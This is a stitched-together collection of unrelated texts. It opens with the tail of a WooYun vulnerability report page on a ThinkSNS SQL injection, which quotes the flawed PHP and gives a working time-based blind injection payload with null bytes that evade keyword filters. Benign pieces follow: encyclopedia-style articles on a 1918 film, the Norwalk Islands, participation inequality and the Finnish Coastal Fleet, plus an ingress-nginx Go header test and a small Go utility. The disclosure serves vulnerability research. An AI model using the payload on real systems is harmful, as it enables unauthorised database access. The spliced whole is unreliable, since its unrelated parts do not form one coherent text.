\u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"};
$(function(){
function getParamsOfShareWindow(width, height) {
return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join('');
}
});
function errimg(img){
tmp=img.src;
nimg=tmp.replace("path_to_url","path_to_url");
img.src=nimg;
$(img).parent().attr('href',nimg);
img.onerror=null;
}
function AttendBug(id){
$.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())+1);
$("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>');
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.ATTENTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function AttendCancel(id){
if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){
if(re==1){
$("#attention_num").html(parseInt($("#attention_num").html())-1);
$("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>');
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
function CollectBug(id,token){
$.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())+1);
$(".btn-fav").removeClass("fav-add");
$(".btn-fav").addClass("fav-cancel");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectCancel(id,token);
});
}else if(re==2){
alert(_LANGJS.LOGIN_FIRST);
}else if(re==3){
alert(_LANGJS.COLLECTION_BUG_DONE);
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
function CollectCancel(id,token){
if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){
$.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){
if(re==1){
$("#collection_num").html(parseInt($("#collection_num").html())-1);
$(".btn-fav").removeClass("fav-cancel");
$(".btn-fav").addClass("fav-add");
$(".btn-fav").unbind();
$(".btn-fav").click(function(){
CollectBug(id,token);
});
}else{
alert(_LANGJS.FAIL_MANAGE);
}
});
}
}
</script>
<div class="content">
<input type="hidden" id="token" style="display:none" value="" />
<h2>
<span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">14</span>)
<span id="attend_action">
<a class="btn" href="javascript:void(0)" onclick="AttendBug(95972)"></a></span>
</span></h2>
<h3> <a href="wooyun-2015-095972">WooYun-2015-95972</a>
<input id="fbid" type="hidden" value="95972">
</h3>
<h3 class='wybug_title'> ThinkSNS (union select sql) <img src="path_to_url" alt="" class="credit">
</h3>
<h3 class='wybug_corp'> <a href="path_to_url">
ThinkSNS </a>
</h3>
<h3 class='wybug_author'> <a href="path_to_url">menmen519</a></h3>
<h3 class='wybug_date'> 2015-02-20 12:16</h3>
<h3 class='wybug_open_date'> 2015-04-02 10:23</h3>
<h3 class='wybug_type'> SQL</h3>
<h3 class='wybug_level'> </h3>
<h3>Rank 15</h3>
<h3 class='wybug_status'>
</h3>
<h3> <a href="path_to_url">path_to_url help@wooyun.org</h3>
<h3>Tags
</h3>
<h3>
<!-- Baidu Button BEGIN -->
<div id="share">
<div style="float:right; margin-right:100px;font-size:12px">
<span class="fav-num"><a id="collection_num">3</a></span>
<a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a>
<script type="text/javascript">
var token="";
var id="95972";
$(".btn-fav").click(function(){ CollectBug(id,token); });
</script>
</div>
<span style="float:left;"></span>
<div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" />
<a class="shareCount"></a>
</div>
</div>
<!-- Baidu Button END -->
</h3>
<hr align="center"/>
<h2></h2>
<h3 class="detailTitle"></h3>
<p class="detail" style="padding-bottom:0">
</p>
<p class="detail wybug_open_status">
2015-02-20 <br/>
2015-03-03 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/>
2015-04-27 <br/>
2015-05-07 <br/>
2015-05-17 <br/>
2015-04-02 <br/>
</p>
<h3 class="detailTitle"></h3>
<p class="detail wybug_description">ThinkSNS (union select sql)</p>
<h3 class="detailTitle"></h3>
<div class='wybug_detail'>
<p class="detail"></p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>public function bulkDoFollow() {<br />
// <br />
$res = $this->_follow_model->bulkDoFollow($this->mid, t($_POST['fids']));<br />
$this->ajaxReturn($res, $this->_follow_model->getError(), false !== $res);<br />
}</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
bulkDoFollow<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>public function bulkDoFollow($uid, $fids) {<br />
$follow_states = $this->getFollowStateByFids($uid, $fids);</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
getFollowStateByFids<br />
<br />
<br />
<br />
</p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>public function getFollowStateByFids($uid, $fids) {<br />
<br />
array_map( 'intval' , $fids);<br />
<br />
$_fids = is_array($fids) ? implode(',', $fids) : $fids;<br />
if(empty($_fids)) {<br />
return array();<br />
}<br />
<br />
$follow_data = $this->where(" ( uid = '{$uid}' AND fid IN({$_fids}) ) OR ( uid IN({$_fids}) and fid = '{$uid}')")->findAll();<br />
<br />
$follow_states = $this->_formatFollowState($uid, $fids, $follow_data);</code></pre></fieldset><p class='detail'><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
array_map( 'intval' , $fids);<br />
<br />
<br />
<br />
$_fids = is_array($fids) ? implode(',', $fids) : $fids;<br />
<br />
<br />
<br />
fids<br />
<br />
<br />
<br />
array_map( 'intval' , "1,2,3"); <br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
url:<br />
<br />
path_to_url />
<br />
<br />
<br />
<br />
<br />
postdata:<br />
<br />
fids=1,2,if(ascii(substr((sele%00ct user() fr%00om ts_atme limit 0,1),slee%00p(3),1))=114,5,1)))#<br />
<br />
<br />
<br />
<br />
<br />
</p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_poc'>
<p class="detail"> </p>
</div>
<h3 class="detailTitle"></h3>
<div class='wybug_patch'>
<p class="detail"> </p>
</div>
<h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title="menmen519">menmen519</a>@<a style="font-weight:normal" href="path_to_url" title="ThinkSNS (union select sql)"></a></h3>
<hr align="center"/>
<h2 id="bugreply"></h2>
<div class='bug_result'>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<p class="detail">2015-04-02 10:23</p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
</div>
<hr align="center" />
<script type="text/javascript">
var bugid="95972";
var bugRating="-3";
var myRating="";
var ratingCount="0";
function ShowBugRating(k){
var ratingItems=$(".myrating span");
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
$(".myrating span").hover(
function(){
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$("#ratingShow").html("");
}
);
}
$(document).ready(function(){
if(myRating==""){
var ratingItems=$(".myrating span");
$(".myrating span").hover(
function(){
$(this).addClass("hover");
var k=parseInt($(this).attr("rel"));
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<k) $(n).addClass("on");
if(nk>k) $(n).removeClass("on");
});
$("#ratingShow").html($(this).attr("data-title"));
},
function(){
$(this).removeClass("hover");
if($("#myRating").val()==""){
$.each(ratingItems,function(i,n){
$(n).removeClass("on");
});
}
$("#ratingShow").html("");
}
);
$(".myrating span").click(function(){
var rating=$(this).attr("rel");
var k=parseInt($(this).attr("rel"));
$.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){
//
$(".myrating span").unbind();
re=parseInt(re);
switch(re){
case 1:
$("#ratingShow").html(_LANGJS.RATING_SUCCESS);
$("#ratingSpan").html(parseInt($("#ratingSpan").html())+1);
$.each(ratingItems,function(i,n){
var nk=parseInt($(n).attr("rel"));
if(nk<=k){
$(n).addClass("on");
}else{
$(n).removeClass("on");
}
});
ShowBugRating(rating);
break;
case 2:
$("#ratingShow").html(_LANGJS.LOGIN_FIRST);
break;
case 4:
$("#ratingShow").html(_LANGJS.RATING_BUGS_DONE);
break;
case 6:
$("#ratingShow").html(_LANGJS.RATING_BUGS_SELF);
break;
default:break;
}
});
});
}else{
if(ratingCount>2){
ShowBugRating(bugRating);
}else{
ShowBugRating(-3);
}
}
});
</script>
<h3 class="detailTitle"></h3>
<p class="detail"></p>
<h5 class="rating">
<div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div>
<div class="myrating">
<span rel="-2" data-title=""></span>
<span rel="-1" data-title=""></span>
<span rel="0" data-title=""></span>
<span rel="1" data-title=""></span>
<span rel="2" data-title=""></span>
<div id="ratingShow">
</div>
</div>
</h5>
<input type="hidden" id="myRating" value="" />
<hr align="center" />
<h2></h2>
<div id="replys" class="replys">
<ol class="replylist">
<li class="reply clearfix">
<div class="reply-content">
<div class="reply-info">
<span class="addtime">2015-02-23 19:43</span> |
<a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin -->
( | <!-- @zm 2013-12-13 End -->
Rank:19 :4 | )
<div class="likebox">
<span class="likepre" title="" rel="133905"></span>
<span class="liketext liketext_min"><span id="likenum_133905">1</span></span>
<span class="likesuf"></span>
</div>
</div><!-- reply-info End -->
<div class="description">
<p> </p>
</div>
<div class="replylist-act">
<span class="floor">1#</span>
<a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a>
</div>
</div><!-- reply-content End -->
</li>
</ol><!-- replylist End -->
</div><!-- replys End -->
<div id="reply" class="reply">
<a name="comment"></a>
<p class="detail">
<a href="path_to_url"><u></u></a>
</p>
<script type="text/javascript">
var masaic = '0';
function CommentLike(id){
$.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){
re=parseInt(re);
switch(re){
case 1:
$("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1);
break;
case 4:
alert(_LANGJS.COMMENT_GOOD_DONE);
break;
case 6:
alert(_LANGJS.COMMENT_SELF);
break;
default:break;
}
});
}
$(document).ready(function(){
$(".likebox .likepre").click(function(){
CommentLike($(this).attr("rel"));
});
});
</script>
<div>
</div>
<div id="footer">
<span class="copyright fleft">
<a href="path_to_url">ICP15041338-1</a>
<!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a-->
</span>
<span class="other fright">
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
<a href="path_to_url"></a>
</span>
</div>
<script type="text/javascript">
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript" id="bdshare_js" data="type=button" ></script>
<script type="text/javascript" id="bdshell_js"></script>
<script type="text/javascript">
document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours();
if (top.location !== self.location) top.location=self.location;
</script>
</body>
</html>
```
|
The Man Who Woke Up is a lost 1918 American silent film directed by James McLaughlin and featuring William V. Mong.
Cast
William V. Mong as William Oglesby
Pauline Starke as Edith Oglesby
George Hernandez as Thomas Foster
Estelle Evans as Sylvia Oglesby
Darrell Foss as Foster's Son
Harry Depp as G. Waldo Campbell
George C. Pearce as Judge Campbell (as George Pearce)
Jean Calhoun as Dorothy Foster
Jim Blackwell On Hand (as J. Blackwell)
Alberta Lee as Undetermined Role
References
Library of Congress. Copyright Office. Catalog of copyright entries Part 4, Volumes 13-14: p. 146.
External links
1918 films
American silent feature films
American black-and-white films
Lost American films
1910s American films
|
The Norwalk Islands are a chain of more than 25 islands amid partly submerged boulders, reefs and mudflats along a six-mile (10 km) stretch and mostly about a mile off the coast of Norwalk, Connecticut, and southwest Westport, Connecticut, in Long Island Sound.
The islands are used for several different types of recreational activities, including camping, boating, kayaking, swimming, bird watching. Ownership of the islands varies, with about a half dozen held in private hands, some owned by the governments of Norwalk or Westport and some are part of the Stewart B. McKinney National Wildlife Refuge.
Various laws protect the islands, including town ordinances, the Coastal Barrier Resources Act, the National Wildlife Refuge System Administration Act of 1966, and the Endangered Species Act. On a clear day, Manhattan's skyscrapers are visible.
Geologists generally consider the islands to be terminal moraines—material left by glaciers—deposited about 17,500 years ago as the ice cap paused in its retreat northward. Above water, the moraines are characterized by various rocks, gravel, sand, silt and clay, sometimes sorted out by waves. The Captain islands in Greenwich to the west are part of the same moraine (but not the Fish islands in Darien), and submerged parts of the same moraine are located between the Norwalk Islands and Charles Island, off Milford, to the east. (That island is probably part of the Hammonasset-Ledyard Moraine.)
Some historians have speculated that rocks from the islands were used as ballast for sailing ships returning to New York, where the rocks may have been used for cobblestones.
Recreation
No fresh water is provided at any of the islands.
Kayaking
The islands are popular with kayakers, with some paddling all the way from New York City. Tidal currents are gentle, the mainland is always visible and the electric power plant on Manresa Island helps with navigation (although if fog hits it can cause sudden and complete disorientation). Public boat launches and beaches are nearby, and some businesses in Norwalk rent kayaks.
The South Western Regional Planning Agency published a brochure for kayakers describing a "Norwalk Islands Canoe and Kayak Trail" showing full-day and half-day loops. Guided tours are also available by kayak.
Fishing, clamming and hunting
Striped bass, bluefish, fluke, flounder, false albacore, bonito, trout, and dogfish can be caught off the islands. Some clamming beds off the islands are seeded.
In duck-hunting season, hunters may hunt below the mean high-tide line. Deer can be hunted on the privately owned islands with the owner's permission.
Bird watching
Rookeries were previously on many of the islands, but now most are on Cockenoe. Herons, egrets, black cormorants can be seen on Cockenoe.
Wildlife
Deer swim to the islands. Harbor seals are increasingly seen at the southwest end of Sheffield Island, although authorities have asked boaters to remain at least from them in order not to disturb them (kayaks are about the same size as some seal predators). The Marine Mammal Protection Act prohibits harassing the animals and sets limits on how close observers may get.
Flora include thorn thickets, wild blackberries, black cherry, bittersweet, sassafras, juniper and honeysuckle.
Many birds are found on Sheffield Island and more than elsewhere, according to a brochure published in 2001 by the South Western Regional Planning Agency, but according to a July 2007 article in Darien, New Canaan & Rowayton magazine, Cockenoe island is now the largest home for birds, who have been in decline on the other islands. Sheffield Island, according to the planning agency brochure, has a "considerable nesting potential" for osprey, herons and other migratory species. Many wading birds, shore birds, songbirds and terns live on the island, including the roseate tern. Brant, scoters, black duck and other waterfowl can be found in the waters surrounding the island.
Largest islands
Chimon Island
At Chimon is the largest of the islands and is located in the middle of the group and a bit less than a mile to the southeast of the entrance to Norwalk Harbor. The island is part of the Stewart B. McKinney National Wildlife Refuge.
The north and west coasts of the island are gravelly, and boulders are strewn along the south and east coasts. Although boaters may land at the three-acre beach at the northwest shore during the day, year round, access to the rest of the island is restricted from April 1 to August 15 each year (bird-nesting season). No overnight camping is allowed. Chimon Island is at .
Cockenoe Island
Owned by the Westport town government, the island (Pronounced "koh-KEE-nee" or "kuh-KEE-nee") has almost all the bird rookeries in the chain. Herons, egrets, black cormorants can be seen on Cockenoe. The cormorants' guano, which leaves some of the rocks white, is toxic to the trees and kills them off after the birds nest in a spot for less than a year. Overnight camping is allowed by the town Conservation Department, but for only four parties per night. Cockenoe Island is at . It is named after the prominent Indian translator, Cockenoe.
History
An early rumor about the island was that William Kidd buried a treasure there. In the 19th century, the island was a working farm with a farmhouse, barn, and livestock. The business eventually turned into a whisky distillery, which the federal government raided in 1870. In the 1960s, The United Illuminating Company planned to build a nuclear power plant on Cockenoe. Due to concerned local residents and the threat of eminent domain, Westport bought the island for $200,000 in 1967.
Shea Island
Once called "Ram Island", the isle was renamed after Daniel Shea, a Congressional Medal of Honor recipient from Norwalk who died in the Vietnam War. Owned by Norwalk city government, the island is just northeast of Sheffield Island and about south of Manressa Island.
Along with Grassy Island, Shea is open to the public from May through Columbus Day, and campers with a permit can stay overnight. Two solar-powered restrooms are available in season, and there are 16 campsites. The entire shoreline is strewn with rocks and boulders, making it a more difficult place to approach by boat. Shea Island is at .
Sheffield Island
At , Sheffield is the second largest island in the group, and the most southerly, located about from the Norwalk coast and just southwest of Shea Island. The entire shoreline is strewn with rocks and boulders.
Many bird species nest on the island. Sheffield is also one of the best places to see seals. The Maritime Aquarium at Norwalk organizes boat trips circling the islands, including a cruise to see the fall foliage and a winter cruise to see harbor seals and waterfowl (see Wildlife section for more information).
Part of the Stewart B. McKinney National Wildlife Refuge, the island is controlled by the U.S. Fish and Wildlife Service, which closes it to the public most of the year in order to protect the bird nesting areas, The public is usually restricted to the around the Sheffield Island Light, which the Norwalk Seaport Association maintains, although a trail has been created to allow the public controlled access. In the summer, the association arranges tours for people to visit the lighthouse and picnic there. On Thursday nights, clambakes and on Friday nights, sunset cruises are held. The lighthouse, built in 1868, was a navigational aid until about 1900. Sheffield Island is at .
Smaller islands
These other islands are in the group:
Betts Island — located about north of Chimon Island. Privately owned. Betts Island is at .
Calf Pasture Island — located almost to the southeast of Calf Pasture Beach. Calf Pasture Island is at .
Copps Island — located close to the southeast end of Crow Island. Copps Island is at .
Crow Island — located to the southeast of Chimon Island. Crow Island is at .
Grassy Island — located to the northeast of Chimon Island. Owned by Norwalk city government. Grassy Island has a better boat landing area than Shea Island. Open to the public May through Columbus Day. Campers with permits can stay overnight at one of the four camp sites. Grassy Island is at .
Goose Island — located about east of Grassy Island. Some say that scientific research was done on the island to find a cure for yellow fever. Others say the small stone hut on its shore was built as a spy lookout during World War II. Goose Island is at .
Hoyt Island — located close to the coast of Norwalk. Hoyt Island is at .
Little Tavern Island — located about northeast of Tavern Island. Little Tavern Island is at .
Long Island — located about east of the southern end of Manressa Island. Long Island is at .
Peach Island — located about east of the Harborview neighborhood in South Norwalk. This island is part of the McKinney Wildlife Refuge and is off limits to visitation. Peach Island is at .
Sprite Island — located about to the northeast of Calf Pasture Beach and about north of Calf Pasture Island. In the 1940s, the island was the summer home of a New York City financier. It is home to the Sprite Island Yacht Club, which bought the island from its former owner in 1952. The former owner bred collies, and the club turned the kennels into lockers. A rocky bluff is at one end of the island, and at another is a small, protected, rocky beach. It takes about 20 minutes to walk around the entire isle. Sprite Island is at .
Tavern Island — located about from Wilson Point and north of Sheffield Island, it has a private mansion with grounds and walkways. Showman Billy Rose once owned Tavern Island. Tavern Island is at .
Tree Hammock Island — located about south of Manressa Island and north of Shea Island. Tree Hammock Island is at .
Notes
External links
Coastal Fairfield County Convention and Visitor Bureau for information on launches, activities and maps
Long Island Sound Resource Center for information on boating, swimming, fishing, hiking
Norwalk Harbor Management Commission for information on permits and fees
Norwalk Seaport Association provides guided tours
Maritime Aquarium at Norwalk offers cruises of the islands
City of Norwalk Department of Recreation and Parks for permits to camp and hike on Grassy and Shea islands
Geography of Norwalk, Connecticut
Westport, Connecticut
Long Island Sound
Coastal islands of Connecticut
Tourist attractions in Fairfield County, Connecticut
Landforms of Fairfield County, Connecticut
Protected areas of Fairfield County, Connecticut
|
In social sciences, participation inequality consists of difference between levels of participation of various groups in certain activities. Common examples include:
differing levels of participation in democratic, electoral politics, by social class, race, gender, etc.
differing levels of participation in online communities as described by Jakob Nielsen.
In politics, participation inequality typically affects "the kinds of individuals, such as the young, the poor and those with little formal education" who tend to not take the initiative to participate in electoral and related events. State enumeration, such as was done in Canada before the implementation of the National Register of Electors in 1996, "worked to augment voter turnout among all segments of society and thus mitigated a natural tendency toward participation inequality in electoral politics".
Political participation inequality
Political participation inequality refers to how populations differ in political participation when sorted by various characteristics. Most often these groupings are by social class, race, gender, or ethnicity. Widespread political participation inequality often describes when various groups are left out of the political sphere or excluded from various political rights.
Participation inequality usually helps political theorists determine where democracies fail or when political institutions are not democratically responsive. When political systems are too unequal in terms of political participation, it most generally means that there is a breakdown in the ability of all citizens to politically deliberate to distribute various scarce resources, implement comprehensive public policy, or enact needed social reforms. Nations with high amounts of participation inequality are generally characterized as undemocratic although there are certain nations, like India, where low participation inequality has not helped the democratic responsiveness of Indian institutions.
Robert Dahl
In his 1971 paper Polyarchy: Participation and Opposition, Robert Dahl provided a basic framework to evaluate democracies or polyarchies (nearly/almost full democracies) based on their participation inequality. He argued that there are two dimensions: public contestation – the various rights and procedures guaranteed to citizens – and inclusiveness – how accessible these rights are to all citizens. More fully, public contestation describes the necessary functions for a liberal democracy: a competitive political atmosphere, ability to run for office, right to vote, right to assembly, etc. Inclusiveness describes what portion of the population is able to enjoy these rights and procedures.
Participation inequality is usually represented along the dimension of inclusiveness. So, if a nation were to allow only short people to vote, this political system would have a certain level of public contestation – the right to vote being available – and a certain dimension of inclusiveness – only short people being able to enjoy this right. This system of evaluating democracies enables comparisons of political regimes based on participation inequality by comparing inclusiveness between equally publicly contestable political systems.
Causes of political participation
Dahlian causes
Using Dahl’s framework, the first cause of participation inequality can be rooted in a political system’s public policy or in the Dahlian dimension of inclusiveness. Policies that exclude groups based on ethnic identity such as old apartheid South Africa or Iranian exclusion of Sunni political parties best conveys systemic political exclusion that is rooted in a regime’s citizenship requirements or public policy.
Expansion of Dahl
The more insidious cause of participation inequality stems from a third dimension that has been recently added to Dahl’s two-dimensional evaluation of political systems: institutions. In this framework, institutions implement political rights and procedures guaranteed by the state. Institutional causes for participation inequality can include literacy tests, extensive citizenship requirements, sparse voting booths in rural or poor areas, and a lack of public transportation. These all affect the ability of citizens to properly exercise guaranteed rights like voting.
Institutional causes of participation inequality can also be mitigated or exacerbated by cultural norms. Most often high voter turnout usually is hailed as a marker for a democratically responsive nation; however, in India “the turnout rate among the poor is almost as high as for those who are either middle class or rich. A detailed study of voter participation reported for the 2009 national elections shows that voter participation rates do not seem to vary by income status at all...Recent studies report similar findings from Africa and Latin America (Bratton 2008; Boot & Seligson 2008)”. Many of these studies conclude that in developing democracies voting acts as a reassurance of social status or worth in the eyes of the state. This cultural norm has not translated to more democratically responsive institutions in that “the governments created by these elections are known to neglect the interests of the poor and treat them disrespectfully compared to other income groups”. Nations like India are considered to be exceptions to the general rule that economic status has some bearing on voter participation.
Economic and educational inequality
Economic inequality and educational inequality have often been pointed to as common culprits for political participation inequality. In large part, these two types of inequality are often created and reiterated by political institutions, but most political theorists differentiate these causes for political participation as separate, largely because they are not fully solved by changes in political institutions. While the outcomes of political institutions highly vary from regime to regime, most of the literature finds that high amounts of economic inequality in developed countries depress voter turnout for poorer individuals and increase voter turnout for more affluent individuals (this depends on social cohesion of societies, correlating negatively with affluent political participation when economic inequality is high). Other literature finds that educational inequality depresses voter turnout depending on one’s income level and perceived relative educational status (how one perceives one’s social status and others’ education levels).
See also
1% rule
Pareto principle
References
Politics
Sociological terminology
|
```go
/*
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package settings
import (
"fmt"
"net/http"
"strings"
"github.com/onsi/ginkgo/v2"
"github.com/stretchr/testify/assert"
"k8s.io/ingress-nginx/test/e2e/framework"
)
var _ = framework.DescribeSetting("add-headers", func() {
f := framework.NewDefaultFramework("custom-header")
host := "custom-header"
ginkgo.BeforeEach(func() {
f.NewEchoDeployment()
ing := framework.NewSingleIngress(host, "/", host, f.Namespace, framework.EchoService, 80, nil)
f.EnsureIngress(ing)
})
ginkgo.It("Add a custom header", func() {
customHeader := "X-A-Custom-Header"
customHeaderValue := "customHeaderValue"
h := make(map[string]string)
h[customHeader] = customHeaderValue
cfgMap := "add-headers-configmap"
f.CreateConfigMap(cfgMap, h)
f.UpdateNginxConfigMapData("add-headers", fmt.Sprintf("%v/%v", f.Namespace, cfgMap))
f.WaitForNginxConfiguration(func(server string) bool {
return strings.Contains(server, fmt.Sprintf("more_set_headers \"%s: %s\";", customHeader, customHeaderValue))
})
f.HTTPTestClient().
GET("/").
WithHeader("Host", host).
Expect().
Status(http.StatusOK).
Header(customHeader).Contains(customHeaderValue)
})
ginkgo.It("Add multiple custom headers", func() {
firstCustomHeader := "X-First"
firstCustomHeaderValue := "Prepare for trouble!"
secondCustomHeader := "X-Second"
secondCustomHeaderValue := "And make it double!"
h := make(map[string]string)
h[firstCustomHeader] = firstCustomHeaderValue
h[secondCustomHeader] = secondCustomHeaderValue
cfgMap := "add-headers-configmap-two"
f.CreateConfigMap(cfgMap, h)
f.UpdateNginxConfigMapData("add-headers", fmt.Sprintf("%v/%v", f.Namespace, cfgMap))
f.WaitForNginxConfiguration(func(server string) bool {
return strings.Contains(server, fmt.Sprintf("more_set_headers \"%s: %s\";", firstCustomHeader, firstCustomHeaderValue)) &&
strings.Contains(server, fmt.Sprintf("more_set_headers \"%s: %s\";", secondCustomHeader, secondCustomHeaderValue))
})
resp := f.HTTPTestClient().
GET("/").
WithHeader("Host", host).
Expect().
Status(http.StatusOK).
Raw()
assert.Equal(ginkgo.GinkgoT(), resp.Header.Get(firstCustomHeader), firstCustomHeaderValue)
assert.Equal(ginkgo.GinkgoT(), resp.Header.Get(secondCustomHeader), secondCustomHeaderValue)
})
})
```
|
```go
package utils
import "strings"
// Sanatize ...
func Sanatize(s string) string {
return strings.TrimRight(s, "/")
}
// IsEmpty ...
// see path_to_url#Assignability
func IsEmpty(s string) bool {
if s == "" || len(strings.TrimSpace(s)) == 0 {
return true
}
return false
}
```
|
The Coastal Fleet of the Finnish Navy () is the main naval fleet in the Finnish Navy. It is responsible for the territorial integrity of Finland and its territorial waters. Almost all of Finland's naval vessels are part of the Coastal Fleet.
Units
References
External links
https://merivoimat.fi/rannikkolaivasto
https://merivoimat.fi/en/coastal-fleet
https://merivoimat.fi/rannikkolaivasto/tietoa-meista
Naval fleets
Naval units and formations of Finland
Military units and formations established in 2015
|
